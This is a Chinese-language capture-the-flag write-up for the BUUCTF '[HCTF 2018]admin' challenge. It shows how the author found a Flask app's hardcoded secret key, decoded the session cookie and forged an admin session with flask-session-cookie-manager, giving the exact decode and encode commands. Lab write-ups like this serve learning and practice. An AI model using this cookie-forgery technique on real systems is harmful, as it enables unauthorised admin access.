buuctf [HCTF 2018]admin
进入网站,首先右上角register随便注册一个账号
登录,点击change password进入修改密码界面,查看网页源代码,里面有个github网址,原本是网站的源码目录,然而现在404了。可以参考新的 https://github.com/mo-xiaoxi/CTF_Web_docker/tree/d0d44eaf1b2be10c281b4df1dd9357d88e790e1f/HCTF2018/admin/hctf_flask
在app/routes.py中查看login的逻辑,可见使用了session来存储用户信息,并查询用户是否存在,如果存在就登录
bp抓包可以看到session是经过加密的字符串
config.py中可以找到加密的私钥ckj123
有了私钥,使用 https://github.com/noraj/flask-session-cookie-manager/tree/master 工具对session进行解密
python flask_session_cookie_manager3.py decode -c '.eJw9UE2LwjAQ_SvLnD3Y1L0IXsSutJApkbhlchG11WbSuNAqdiP-9w0ueBqY98V7D9id-mZoYX7tb80EdraG-QM-DjCHcr2xFNQUtRKG6xY5F2aF1qxUSj7_ldV3R3qbUmgZQ2FJZ4J07TByjUdbrtHJIO_ILupVkKKI_4KJjTf-yyOf07LClkQuKBwTEmrE0HUm5mLkoVCpiTlGt1GxTUylAnHhiZHL1dJRWDJplxjtFvCcwHHoT7vrj2su7woU6o6qLKFKfUrdxkg5SpEnr8tZKHU-I950pT7GajTKoGZ0X7zsrN-fm7dTnRlF6h-57H0EwFu3hwnchqZ_zQbJFJ5_fOJutg.ZGD7qQ.0lT5IcV0RMCcs7i8pB0erL10mW8' -s 'ckj123'
把解密后的结果name字段改成admin,加密即可生成伪造session
python flask_session_cookie_manager3.py encode -t "{'_fresh': True, '_id': b'8dbc44546f7a626d3bd47bb21eea57c8c72ba16a7d67afcb8cd330696f433bafbcb6ffaf6879cacb6c75cd179eddb6bc7d7fb2e8cfe5ed3b2fb3c80dc0ca95e9', 'csrf_token': b'c7eaa5ad918f6313b5631213928b4e976d61348c', 'image': b'tFPa', 'name': 'admin', 'user_id': '10'}" -s 'ckj123'
将结果放到bp中发包访问/index,即可返回flag